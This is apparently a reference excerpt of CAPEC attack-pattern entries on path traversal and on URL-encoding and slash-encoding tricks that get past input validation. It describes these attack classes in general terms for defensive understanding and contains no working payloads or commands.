An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.